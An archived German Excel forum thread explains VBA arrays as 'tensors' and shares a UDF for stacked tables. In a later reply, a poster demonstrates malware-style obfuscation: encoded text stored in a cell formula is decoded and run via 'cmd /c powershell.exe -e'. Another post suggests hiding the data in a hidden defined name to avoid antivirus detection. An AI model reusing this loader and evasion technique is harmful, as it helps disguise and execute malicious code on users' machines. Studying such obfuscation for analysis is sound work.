Live-Forum - Die aktuellen Beiträge
Anzeige
Archiv - Navigation
1776to1780
Aktuelles Verzeichnis
Verzeichnis Index
Übersicht Verzeichnisse
Vorheriger Thread
Rückwärts Blättern
Nächster Thread
Vorwärts blättern
Anzeige
HERBERS
Excel-Forum (Archiv)
20+ Jahre Excel-Kompetenz: Von Anwendern, für Anwender
Inhaltsverzeichnis

Zum WE: Ranges u.Arrays in Xl u.VBA

Zum WE: Ranges u.Arrays in Xl u.VBA
29.08.2020 22:34:08
Luc:?
Aus gegebenem Anlass habe ich mich entschlossen, eine Erläuterung der Unterschiede zwischen Xl-Bereichen bzw -Datenfeldern (aus Berechnungen) und ihren VBA-Pendants, speziell den Typen der in VBA verwendbaren Datenfelder und deren Spezifika hier einzustellen.
Ein Xl-Blatt basiert bekanntlich auf einem festen Raster aus Zeilen und Spalten. Jede dieser Zellen und jeder Teilbereich aus mehreren Zellen ist folglich mit einem Index aus Zeilen- und Spaltennr identifizierbar (Adresse). Im Ergebnis einer Berechnung kann eine Zelle oder auch mehrere auf einmal mit einem Wert (oder eben mehreren Werten auf einmal) gefüllt wdn. Ein Einzelwert ist dabei idR ein dimensionsloser Skalar, mehrere zusammenhängende (bzw in neuesten Xl-Versionen per dynamischem Array berechnete) Werte bilden eine Matrix, sind also stets 2dimensional. Das muss auch bei der Übernahme von Xl-Bereichen in VBA-Programmvariablen beachtet wdn! In Xl-Berechnungsergebnissen können allerdings auch 0-dimensionale Werte vorkommen, sog skalare Tensoren(0,0)¹, wie sie bspw von den Xl-Funktionen ZEILE und SPALTE geliefert wdn². Durch die Ausgabe auf ein Xl-Blatt wdn sie zwar wieder zu einfachen dimensionslosen Skalaren, können aber in Formeln stören, vor allem, wenn diese eigene Funktionen (sog UDFs) enthalten, die diese Xl-Funktionen in ihren Argumenten verwenden und das in ihrem Korpus nicht beachten (ohne IsArray-Einsatz).
Im Gegensatz zur direkten Übernahme eines Xl-Bereichs (ByRef), der seine 2Dimensionalität behält, wird ein (berechnetes) Datenfeld (ByVal, das nur aus einer Zeile besteht, als 1dimensionaler echter Kovektor in VBA abgebildet. Das ist dann mit einem Tensor(0,1) identisch. Ansonsten folgt VBA der Grundstruktur von Xl und verwendet stets Matrizen. Demzufolge wird ein aus einer Spalte bestehender Vektor auch per VBA 2dimensional abgebildet, was auch erforderlich ist, um ihn von einem Kovektor zu unterscheiden. In der Mathematik ist zwar der Vektor primär und der Kovektor sekundär, aber Xl ist nun mal wie eine Datenbank datensatz-orientiert und diese entsprechen Tabellenzeilen also Kovektoren (Listenaufbau, deshalb kann man auch nur nach den Ausprägungen einer Datensatz-Eigenschaft im Kopf der Tabelle, also Zeilenwerten einer Spalte filtern).
Aus dieser Xl-Grundstruktur und ihrer Adaption in VBA hat man in VBA einen eigenen n-dimensionalen Array-Typ entwickelt, der deshalb in anderen Sprachen mitunter als VBA-Array bezeichnet wird (zB in JavaScript). Denn dieser Typ wird üblicherweise nicht verwendet, weil er zu unhandlich ist. Aber auch VBA kann einen üblicheren Typ verwenden, indem ein quasi-n-dimensionales Array auf der Basis 1dimensionaler Arrays aufgebaut wird. Klassisch entspräche das einer Schichtung von (1dimensionalen) Tensoren³, wobei die Elemente eines Vektors aus Kovektoren bestehen, was VBA bei entsprechender Zuweisung automatisch so einstellt. D.h., wenn man einem 1dimensionalen Array (Kovektor) lauter ebenfalls 1dimensionale Arrays als Elemente zuweist, entsteht aus einem Tensor(0,1) ein Tensor(1,1), der zwar einer Matrix entspricht, aber nur in einer Zellformel mittels des Formeltext-Interpreters automatisch in eine abbildbare 2dimensionale Matrix gewandelt wird. In einer Subprozedur entfällt das natürlich und man muss es selber programmieren oder zeilenweise ausgeben bzw ggf eine dazu fähige Xl-Funktion (zB INDEX) benutzen. Die automatische Umwandlung in Xl-Formeln ist selbstverständlich auch nur dann möglich, wenn sich dadurch eine reguläre Matrix ergibt, also alle Kovektoren gleichviel Elemente enthalten. Darüber hinausgehende Tensor-Kombinationen oder die in VBA ebenfalls möglichen „Zwitter“ aus VBA-Array und Tensoren bzw nach diesem Prinzip geschichteten VBA-Arrays wie sie zB auch mit einem ParamArray als Eingabe-Parameter bzw -Argument möglich sind, lassen sich nicht ohne Verdichtung der Matrixformat überschreitenden Werte (bzw Expansion in größere Matrizen) auf ein Xl-Blatt abbilden, was ja auch bei n-dimensionalen (n>2) VBA-Arrays der Fall ist.
Ein Vektor lässt sich übrigens auch mit Tensoren darstellen. Dabei wdn den Elementen eines 1dimensionalen Arrays skalare Tensoren zugeordnet. So ergibt sich dann ein Tensor(1,0). Das Ganze setzt natürlich in allen höheren (prioritären) Stufen voraus, dass deren Tensoren bzw VBA-Arrays als Variant deklariert wurden, denn nur ein solcher kann auch Arrays aufnehmen. Das Endstufen-Array kann dagegen mit beliebigem passenden Datentyp deklariert wdn.
Ein Variant muss nicht dimensioniert deklariert wdn, um ein Array aufnehmen zu können. Soll eine Variable redimensioniert wdn, muss sie zuvor auch nicht deklariert wdn. Es ist aber trotzdem angebracht, weil sie sonst der automatischen Übernahme ihrer Schreibweise (GB/kb) im gesamten Programm verlustig geht (hier auch die VBE-Hilfe beachten!). Im Gegensatz zu n-dimensionalen Arrays kann bei einem aus Tensoren zusammengesetzten Array jeder Tensor einzeln redimensioniert wdn. Dabei ist es auch möglich, den Indexbereich zu verschieben ohne auf ein (weiteres) Preserve verzichten zu müssen. Der Vektor eines 2stufigen Tensors wird dabei wie ein 1dimensionales Array behandelt, während seine Elemente, Kovektoren einer Quasi-Matrix, per Durchlauf einzeln redimensioniert wdn müssen, wobei sie wegen der nicht ReDim-kompatiblen Indizierungsmethode, (Zeilenindex)(Spaltenindex), temporär in eine Variant-Hilfsvariable übernommen wdn müssen. Bei Array-„Zwittern“ aus VBA-Arrays (ggf in Kombination mit Tensoren), auch als Arrays in Arrays bekannt, sind dabei natürlich auch deren Einschränkungen zu beachten. Analog ist ebenfalls bei höherstufigen Tensoren bzw -dimensionalen VBA-Arrays zu verfahren.
Natürlich kann ein mehrstufiger Tensor (bzw ein Array-„Zwitter“) auch leer zusammengesetzt wdn, um dann in einem Durchlauf oder mehreren verschachtelten Durchläufen befüllt zu wdn. Ein 4stufiger echter Tensor(2,2) hätte dabei die Einzelelement-Indizierungsform av4Tensor(i)(j)(k)(l) und entspräche somit insgesamt einem Datentessarakt (4dimensionalen Datenkubus), dessen Einzelelemente in VBA-Array-Form so indiziert würden → ar4Tessar(i,j,k,l).
Im Folgenden wird eine derartige Tensor(2,2)-Bildungsmöglichkeit gezeigt, wobei ein zusammenhängender Zellbereich in Tensoren(0,1) zerlegt wird, die dann zu einem Tensor(2,2) zusammengefügt wdn. Mit dem 4./5.Argument der Funktion kann man dann eine der ineinandergeschachtelten Teil-/Submatrizen (bzw Daten-/Subebenen) auswählen. Es wäre natürlich auch möglich, einen bestimmten Kovektor zurückzugeben, indem man nur die ersten 3 Indizes angibt. Bei den Vektoren (Spalten) ist das komplizierter. Hier müssten beim Anlegen des Tensors von vornherein Spalten und Zeilen vertauscht wdn, damit das einfach möglich ist. Allerdings könnte ggf auch INDEX (wie üblich) auf eine isolierte Matrix angewendet wdn.

Rem Konstruktion 4stufiger Tensor(2,2) aus Datenfeld bzw kontinuierl Bereich
'   Arg1: DQuelle (ZellBezüge in Werte umgewandelt); Argg2/3: einheitl Größe
'   (Zeilen/Spalten) zu bildender u.lt Argg4/5 so anzuzeigender SubMatrizen;
'   Argg4/5: flfd Index auszugebender SubMatrix f.HptZeile u.-Spalte aus Di-
'   vision Arg1-Größe durch Argg2/3 (b.nicht restloser Aufteilbark d.Gesamt-
'   Matrix lt Arg1 bleiben Elemente in d.jeweils letzten Zeilen-/SpaltenSub-
'   Matrizen leer, Darstell als 0 oder LeerText richtet sich nach d.Kontext)
'   --> soviele Zeilen/Spalten wdn gezeigt, wenn beide Argg4/5 fehlen, keine
'   Zahl bzw 0 sind, wobei b.Aufruf in 1er SubProz in d.1.bd Fällen der kom-
'   plette Tensor zwecks Weiterverarbeit übgeben wird. Anderenfalls wdn alle
'   3 Fälle gleich behandelt u.die SubMatrizen pro Zelle als Matrixkonstantt
'   in TextForm ausgegeben, wobei eine Umwandlg in Matrizen als Elemente 1er
'   Matrix erfolgt (nur 1 fehlendes Arg4|5 wird dagg stets durch 1 ersetzt).
'   Diese Argg vertragen d.Verwendg v.ZEILE u.SPALTE z.IndexErmittl, Argg2/3
'   aber nicht, Arg1 auch ein Datenfeld (u.U. aus einem Ausdruck berechnet).
'   Hinweis: Diese UDF ist zur Demonstration 1er möglichen Vorgehensweise b.
'   Konstruktion eines 4stufigen Tensors (Qubix: Variant m.Arrays in Arrays)
'   gedacht, kann aber auch weitergehend verwendet wdn, wobei das dann v.Fml
'   bzw verwendendem Pgm abhängt. Eine Möglichk wäre d.Erzeug v.TabbStapeln,
'   die m.d.UDF TensEx wdr in SubMatrizen bzw -Ebenen aufgelöst wdn könnten.
'   Vs1.2 -LSr:CyWorXxl -cd:20200824 -1pub:20200829h -lupd:20200828t
Function TensQubix(Bezug, ByVal ErgMxZln As Long, ByVal ErgMxSpn As Long, _
Optional ByVal SubMxZl = "", Optional ByVal SubMxSp = "")
Dim isTensOut As Boolean, cc(1) As Long, cx(1) As Long, px As Long, _
rc(1) As Long, rd As Long, rx(1) As Long, sMx(1) As Long, _
elst$, mxLRKl$, mxSTrz$, mxZTrz As String, wf As WorksheetFunction, _
el, erg, pKv, pVk, sKv, sVk, xBez, zBez As Variant
On Error GoTo fx: Set wf = WorksheetFunction
With Application
mxLRKl = .International(xlLeftBrace) & " " & .International(xlRightBrace)
mxSTrz = .International(xlColumnSeparator)
mxZTrz = .International(xlRowSeparator)
On Error Resume Next: isTensOut = IsError(.Caller): On Error GoTo fx
End With
If IsArray(SubMxZl) Then SubMxZl = wf.Index(SubMxZl, 1)
If wf.IsNumber(SubMxZl) Then sMx(0) = SubMxZl: isTensOut = False
If IsArray(SubMxSp) Then SubMxSp = wf.Index(SubMxSp, 1)
If wf.IsNumber(SubMxSp) Then sMx(1) = SubMxSp: isTensOut = False
If TypeOf Bezug Is Range Then Bezug = Bezug.Value2
cc(1) = ErgMxSpn: rc(1) = ErgMxZln
cc(0) = Abs(Int(UBound(Bezug, 2) / -cc(1)))
rc(0) = Abs(Int(UBound(Bezug, 1) / -rc(1)))
rd = rc(0) * rc(1) - UBound(Bezug, 1)
ReDim pVk(rc(0) - 1), pKv(cc(0) - 1), sVk(rc(1) - 1), sKv(cc(1) - 1)
For px = 0 To rc(1) - 1: sVk(px) = sKv: Next px
For px = 0 To cc(0) - 1: pKv(px) = sVk: Next px
For px = 0 To rc(0) - 1: pVk(px) = pKv: Next px
For Each xBez In Bezug
If Not IsEmpty(xBez) Then pVk(rx(0))(cx(0))(rx(1))(cx(1)) = xBez
rx(1) = (rx(1) + 1) Mod rc(1): rx(0) = (rx(0) - CInt(rx(1) = 0)) Mod rc(0)
If CBool(rd) And (rx(0) + 1) = rc(0) Then
If rx(1) + rd = rc(1) Then rx(0) = 0: rx(1) = 0
End If
cx(1) = (cx(1) - CInt(rx(0) + rx(1) = 0)) Mod cc(1)
cx(0) = (cx(0) - CInt(rx(0) + rx(1) + cx(1) = 0)) Mod cc(0)
Next xBez
If isTensOut Then
TensQubix = pVk
ElseIf sMx(0) + sMx(1) = 0 Then
cx(0) = 0: cx(1) = 0: ReDim erg(rc(0) - 1, cc(0) - 1)
For Each zBez In erg
For Each xBez In pVk(rx(0))(cx(0))
For Each el In xBez
If Not (wf.IsNumber(el) Or wf.IsError(el)) Then
elst = elst & " """ & el & """"
Else: elst = elst & " " & CStr(el)
End If
Next el
sVk(rx(1)) = Join(Split(LTrim(elst)), mxSTrz): elst = ""
rx(1) = (rx(1) + 1) Mod rc(1)
Next xBez
erg(rx(0), cx(0)) = Replace(mxLRKl, " ", Join(sVk, mxZTrz))
rx(0) = (rx(0) + 1) Mod rc(0)
cx(0) = (cx(0) - CInt(rx(0) = 0)) Mod cc(0)
Next zBez
TensQubix = erg
Else: sMx(0) = wf.Max(1, sMx(0)): sMx(1) = wf.Max(1, sMx(1))
TensQubix = pVk(sMx(0) - 1)(sMx(1) - 1)
End If
fx: If CBool(Err.Number) And IsEmpty(TensQubix) Then _
TensQubix = "Error " & Err.Number
Set wf = Nothing
End Function
Rem RufProz f.SubProz TableStack - Var EinzelWert
Sub RufTbStEw(): Call TableStack(True): End Sub
Rem RufProz f.SubProz TableStack - Var TabbStapel
Sub RufTbStAw(): Call TableStack: End Sub

Rem BspProz f.Anwendg UDF TensQubix zur Anlage eines TabbStapels oder Rückgabe
'   1es Einzelwerts; Zielzelle (1.Zelle zu übschreibd Zielbereichs) auswählen!
'   Vs1.0 -LSr:CyWorXxl -cd:20200828 -1pub:20200829h -lupd:20200828t
Sub TableStack(Optional ByVal eWert As Boolean)
Const adQBer$ = "Tabelle3!A157:F168"       '
Weitere Anmerkungen und Hinweise:
Die UDF TensQubix kann sowohl als Bestandteil von Zellformeln als auch in Subprozeduren eingesetzt wdn, wobei hierbei fehlende Argumente 4 und 5 unterschiedlich behandelt wdn (vgl UDF-Kommentar). Fehlen diese im Zellformeleinsatz, wdn sie als 0 gewertet, was zur komprimierten Ausgabe aller Werte in Form von lokalen Matrixkonstanten als Text führt. Dabei wdn sowohl die Primärtensoren (die Hauptebene) als auch die sekundären (mit den Werten) in normale 2dimensionale Xl-Matrizen umgewandelt. Diese sekundären Matrixkonstanten wdn nur im 0-Fall beider Argumente 4/5 in der Demo-Subprozedur TableStack als lokale Formeln angelegt, so dass sie letztendlich die Haupt- und Subebenen des so erzeugten Tabellenstapels (Qubix) bilden. Nur die Werte der Hauptebene wdn so im Tabellenblatt gezeigt, die Werte der Subebenen sind aber ebenfalls vorhanden. Wie schon früher gezeigt, kann man so etwas auch zur Tabellen-Obfuskation verwenden, ggf auch mit zusätzlicher vorheriger Verschlüsselung nach einem Verfahren eigener Wahl. Die realen Daten können zuvor über alle zu bildenden Ebenen (bzw auch nachträglich über die gebildeten) verteilt wdn, wobei sich der Datenschlüssel aus den Positionsindizes der Echtdaten im Qubix ergibt.
Die Demo-Subprozedur enthält auch einen Zweig, der auf die Übergabe des kompletten Tensors(2,2) wie er ist reagiert und einen Einzelwert in die ausgewählte Zelle einträgt. In beiden Varianten wird dabei eine Submatrix-Größe von 3 Zeilen × 2 Spalten vorausgesetzt; für die Einzelwert-Variante außerdem noch eine sich aus der Aufteilung des Gesamtbereichs ergebende Hauptebenen-Größe von mindestens ebenfalls dieser Größe. Anderenfalls müssten die Indizes entsprechend angepasst wdn. In der Qubix-Variante muss natürlich beachtet wdn, dass der benötigte Platz auf dem Blatt frei ist, sonst wdn dort ggf vorhandene Einzeldaten überschrieben, während das Überschreiben von Daten aus Matrixformeln zu einem Fehler führt.
__________________________________
¹ Ein Tensor ist eine math Funktion der Form Tensor(r,s), wobei r und s nichts über die Anzahl seiner Elemente oder die Dimensionalität aussagen; r+s ergibt stets die Stufigkeit (auch Rang genannt) eines Tensors (vgl bspw Wikipedia).
² Im zu Unrecht oft vernachlässigten Funktionsassistenten erkennbar an den geschweiften Klammern um ihr Ergebnis.
³ In anderen Sprachen sind auch reine Datenfelder (Arrays) oft eigene Objekte, in VBA aber beide Typen (inkl ParamArray) nicht. Objekte sind hier nur Datensammlungen (Collection) und Listen von Objekten, sowie das einem assoziativen Array vglbare Dictionary-Objekt, das aber nicht Gegenstand dieser Ausführungen ist.
Xl erzeugt bei bestimmten Berechnungen selbst solche eher „exotischen“ quasi-n-dimensionalen Strukturen, kann aber wenigstens ihre 1.Ebene abbilden (auch bei dynamischen Arrays), was mit VBA nicht in gleicher Weise erreichbar ist, denn die nicht abgebildeten Werte sind in Xl durchaus vorhanden, können aber nicht oW indiziert wdn. Mit zusätzlichen Funktionen ist aber ihre Auswertung möglich.
Skalarer Tensor(0,0) → ein Array, das nur ein Element enthält (vgl Xl-Fktt ZEILE und SPALTE).
Zum schnellen Aufruf der jeweils gewünschten TableStack-Variante sind die beiden Rufprozeduren beigefügt.

Schönen Sonntag! Luc :-?
„Die universelle Befähigung zur Unfähigkeit macht jede menschliche Leistung zu einem unglaublichen Wunder.“ Stapps ironisches Paradoxon

4
Beiträge zum Forumthread
Beiträge zu diesem Forumthread

Betreff
Datum
Anwender
Anzeige
AW: Komplex
30.08.2020 11:53:04
Fennek
Hallo Luc,
danke für die Arbeit und das posten.
Mit kleinen Änderungen habe ich den Code zum Laufen gebracht. Es ist eine gute Ergänzung zu Deiner kleinen "Challenge"vor einigen Jahren.
Die Frage bleibt, wie kann man das sinnvoll einsetzen?
In den letzen Wochen habe ich mich mit malware-Analyse beschäftigt: Viele crooks geben sich Mühe den Code und die url zu verschleiern ("obfuscation"), aber im Vergleich zu den Tensoren erscheint das eher stümperhaft.
Kann man deinen Code in Richtung json umsetzen, also eine Kombination Key und Value? Dazu müßte man aber die Umsetzung der Zellen des Auswahl-Bereichs besser steuern können.
Könntest Du ein paar Beispiele zeigen?
Einfach gesagt: Interessant, aber viele Fragen bleiben offen.
mfg
https://www.herber.de/bbs/user/139915.xlsm
Anzeige
Zweck des Ganzen
31.08.2020 20:17:50
Luc:?
Hallo, Fennek,
Dank für Deinen Kommentar, der mich speziell seines 2.Teils wg doch etwas länger beschäftigt hat.
Der eigentliche Anlass meines Postings erschließt sich ja aus den beiden Links unter gegebenem Anlass, vor allem dem unter Anlass. Solche u.ä. Anfragen kommen ja abundzu, zuletzt erst kürzlich (zZ noch im sichtbaren Forum). Und dieses Thema wird ja eher stiefmütterlich auf einschlägigen Xl-WebSites, in Foren und Blogs behandelt, so dass die Kenntnisse darüber nicht allzu verbreitet sein dürften.
Bleibt die Frage nach dem sinnvollen Einsatz. Jeder, der ein ParamArray als Parameter bzw Argument einer Prozedur benutzt, ist damit ja konfrontiert. Denn jede EinzelAngabe steht dabei für sich und muss separat behandelt wdn. Bereiche und Datenfelder bilden dabei eben nicht, wie mitunter irrigerweise angenommen wird, mehrere Elemente des Arrays, sondern jeweils nur eines. Und ein solches Array ist auch stets 1dimensional, egal wie seine Elemente aussehen. Folglich könnte es bei einer derart komplexen Nutzung ebenfalls nicht direkt auf einen ZellBereich abgebildet wdn.
Ein 2.Aspekt bei der Erstellung des Beitrags war natürlich auch die Demonstration von aus Tensoren zusammengesetzten Matrizen und höherdimensionalen Strukturen und ein Bsp dafür zu liefern, dass VBA das Prinzip des Variants mit einem Array weiter fasst und auf alle Array-Arten bezieht, wodurch auch tiefere Array-Verschachtelungen entstehen können (Arrays in Arrays). Deshalb wird auch die Umformung eines Tensors(2,2) in eine quasi 4dimensionale Struktur gezeigt, deren Werte aus MatrixKonstanten bestehen, um so auf einen ZellBereich abgebildet zu wdn. Wenn man diese dann als Fmln in EinzelZellen einträgt, erhält man einen TabellenStapel, von dem nur die oberste Tab angezeigt wird, die Werte der anderen aber ebenfalls vorhanden* sind. Nur in dieser Form lässt sich eine ErgebnisWeitergabe ohne Quelle realisieren. Folglich könnte das auch zur Obfuskation kompletter Tabellen genutzt wdn.
Was den 2.Teil Deiner AW mit der angesprochenen JSON-(artigen )Problematik betrifft, gehe ich davon aus, dass Du dgl Arrays erzeugen willst. Das sieht für mich so aus, als ob hier die quasi-assoziativen Dictionary-Arrays hilfreich sein könnten, die ja bekanntlich aus Key und Item bestehen, wobei letzteres auch ein Array sein kann, zumindest in Tensor(0,1)-Form, aber wahrscheinlich auch als n-dimensionales VBA-Array oder anderer bzw höherstufiger Tensor. Diese Key-Item-Paare müsste man ebenfalls einem Variant übergeben können, wobei die Komplett-Expansion solcher Datenfelder und ggf auch die Herauslösung einzelner Elemente komplizierter, aber nicht unmöglich sein dürfte. Man könnte evtl auch den ganzen Tensor(2,2) unter einem Key im Dictionary speichern. Mit dieser (Gesamt-)Problematik habe ich mich bisher noch nicht befasst, werde das aber sicher irgendwann nachzuholen versuchen. Gleiches gilt dann auch generell für die AusgabeSteuerung, wobei die UDF ja schon die Ausgabe einzelner SubMatrizen erlaubt. Aus der Darstellung des GesamtStapels in Form von Fmln aus den erzeugten MatrixKonstanten, der letztlich nur die HptEbene zeigt, können HptMatrix und alle SubMatrizen ebenso wie alle SubEbenen mit Hilfe der UDF TensEx expandiert wdn. Geplant war/ist allerdings, dass in Zukunft auch beliebige einzelne SubMatrizen bzw -Ebenen isoliert wdn können. Z.Z. arbeite ich an einer parallelen Thematik, die die direkt aus bestimmten regulären Fmln entstehenden Strukturen (etwas anders als bereits mit VJoin - ab Vs1.5 - und TensEx möglich) als einzelne (Sub-)Ebenen oder insgesamt darstellen kann (inkl Fml-Eintrag der resultierenden MatrixKonstanten). Das ist nicht trivial und per UDF nicht oW zu bewerkstelligen, weil die reguläre Fml (nach erforderlicher Normalisierung → mit INDEX) als eine besondere Art von pluraler MatrixFml erscheint, bei der jeder Wert nochmals einzeln berechnet wird. Die UDF wird hierdurch xl-bedingt rekursiv, lässt aber einen Ersatz durch andere Fmln nur in ihrem ganzen Bereich und auf einmal zu.
Zu einer Nutzung für Obfuskationszwecke und auch generell gehört hierzu natürlich auch die Möglichkeit, einzelne Werte diverser StapelEbenen direkt anzusprechen. Das wird zwar in TableStack-Variante2 für den Tensor(2,2) gezeigt, wird aber wohl eher für den kompletten Stapel benötigt. Das wäre dann zwar mit einer Fml der Art =INDEX(TxEval(TextOf(INDEX(adrsBereichHptEbene;hptZeile;hptSpalte);0));subZeile;subSpalte) möglich, ist aber doch recht unelegant. Also müsste eine Index-UDF her, die das leisten kann. Eleganter wäre es natürlich, gleich bei der Fml, die solche „exotischen“ Strukturen erzeugt, diese Indizierung vornehmen zu können, aber das scheint unmöglich zu sein°, zumal unbekannt ist, wie deren ErgebnisStruktur tatsächlich aussieht.
Insofern kann ich zwar mit eigenen Bspp zu diesem speziellen Thema dienen, aber die geben auch kaum mehr her als Dein ordentlich gemachtes. Sollen die Bspp aber in die JSON-/Dictionary-Richtung gehen, habe ich so etwas zZ nicht geplant. Zu den von mir erwähnten ggw Arbeiten plane ich allerdings einen (schon länger angekündigten) Beitrag, ggf an eine „Challenge“ (;-]) geknüpft, der nach Abschluss dieser Arbeiten (hoffentlich noch im September) mit Bspp erscheinen soll.
Gruß, Luc :-?
_____________
* Das ist im Prinzip auch bei bestimmten, eher „exotischen“, aber regulären INDEX-Fmln der Fall, ohne dass die nicht angezeigten Werte ersichtlich sind, aber unmittelbar genutzt wdn können, wenn die Verbindung zur DatenQuelle gegeben ist. Daraus wäre eine andere Obfuskationsform ableitbar, die den umgekehrten Weg beschreitet, d.h., 2 entsprd manipulierte Tabellen übergibt, die auf bestimmte Weise vom Empfänger mathematisch verknüpft wdn müssen, wobei letztlich ein solcher TabStapel entsteht, in dem die OriginalDaten auf verschiedenen Ebenen verteilt sind und per jeweils zufällig erzeugtem und ebenfalls übermitteltem Positionsschlüssel herausgelöst wdn können. (Dazu ggf später an anderer Stelle mehr.)
° Es ist natürlich möglich, die ganze Fml per UDF nachzubilden, allerdings ohne ein identisches Erscheinungsbild zu erreichen. Eine zusätzliche multi-indizierbare IndexFkt wäre entweder zusätzlich erforderlich oder ihre Möglichkeiten müssten (b.Bedarf) in die o.g. UDF integriert wdn.

Anzeige
AW: Bsp: Obfuscation
01.09.2020 11:34:16
Fennek
Hallo,
da es hier im Forum vermutlich keine crooks gibt, hier ein Beispiel von malware obfuctionen:

Sub Obfus()
With Application
mxLRKl = .International(xlLeftBrace) & " " & .International(xlRightBrace)
sCol = .International(xlColumnSeparator)
sRow = .International(xlRowSeparator)
End With
cc = Range("E4").CurrentRegion
out = Application.International(xlLeftBrace)
For i = 1 To UBound(cc)
out = out & Chr(34) & cc(i, 1) & Chr(34) & sCol & Chr(34) & cc(i, 2) & Chr(34) & sRow
Next i
out = Left(out, Len(out) - 1) & Application.International(xlRightBrace)
'Debug.Print out
Cells(10, 8).FormulaLocal = "=" & out
End Sub
Sub Lesen()
Dim By(200) As Byte
For b = 0 To UBound(By): By(b) = 32: Next
ret = Split(Mid(Range("H10").FormulaLocal, 3), ";")
For b = LBound(ret) To UBound(ret)
vv = Split(ret(b), ".")
By(Val(Replace(vv(0), Chr(34), ""))) = Asc(Replace(vv(1), Chr(34), ""))
Next b
out = StrConv(By, vbUnicode)
Cells(15, 8) = Trim(out)
Shell "cmd /c powershell.exe -e " & trim(out) 'AV blockiert
End Sub
https://www.herber.de/bbs/user/139965.xlsm
Im Beispiel wird ein harmloser Powershellcode in eine zufällige Buchstabenfolge gewandelt und als "Tensor" in eine Zelle geschrieben. Meine Anti-Virus-Software blockt die Ausführung, es würde aber nur eine kleine Txt-Datei auf den Desktop geschrieben.
Die Datei enthält keinen Autostart, jeder kann also in Ruhe den Code prüfen und ggf entschärfen.
mfg
Anzeige
Tja, da hast Du wohl recht, ...
03.09.2020 00:22:08
Luc:?
…Fennek,
weder Crooks (hoffentlich!) noch interessierte Cracks scheinen vorhanden zu sein. ;-]
Jetzt meine ich zu wissen, woran Du gedacht hast bei diesen DatenPaaren inkl Schlüssel. Abgesehen mal davon, dass man das Pgm, was die MatrixKonstante als Fml erzeugt und in nur einer Zelle speichert (was man unter dem Gesichtspkt dynamischer Arrays ggf noch extra kennzeichnen müsste, und auch noch etwas anders aufbauen könnte, fktioniert das Ganze ja wohl zufriedenstellend. Leider hat µS bis Xl14/2010 ja noch nichts an der LängenBegrenzung von Argumenten/Parametern bei Evaluierung geändert, so dass in der Lesen-Proz* auf Split zurückgegriffen wdn muss. Dann könnte man das aber auch statt in eine Zelle als entsprd unterteilten Text unter einem verborgenen definierten Namen eintragen, was ggf noch unauffälliger wäre. Allerdings ließe sich der mit VBA anzeigen, mit Xl-Bordmitteln aber nicht. Wenn so etwas und natürlich auch das Entschlüsselungspgm tatsächlich nicht von AV-Pgmm erkannt wird, wäre das Ziel erreicht und Du könntest mit dieser Kenntnis Abhilfe schaffen. Ich komme (vorerst) nicht zu derartigen Versuchen, weil ich jetzt erst mal 5 Tage weg bin und außerdem danach mein angekündigtes Projekt beenden will.
Übrigens hast Du berechtigterweise „Tensor“ geschrieben, denn das ist ja im Ergebnis kein echter, sondern ein 2d-VBA-Array als MatrixKonstante. In dieser Form ließe sich ein echter Tensor(1,1) auch nicht als MatrixKonstante abbilden, sondern eher so: {"{1.""A""}";"{2.""B""}";…} Dabei sollte statt ';' eigentlich '.' (oder US-generell ',') verwendet wdn, aber ob das dann fktionierte, ist fraglich, weshalb ich das auch nicht so gemacht habe.
* Hier hast Du erkannt, dass eine Laufvariable auch ein Array beinhalten kann. ;-)
Morhn, Luc :-?
Anzeige

341 Forumthreads zu ähnlichen Themen

Anzeige
Anzeige

Beliebteste Forumthreads (12 Monate)

Anzeige

Beliebteste Forumthreads (12 Monate)

Anzeige
Anzeige
Anzeige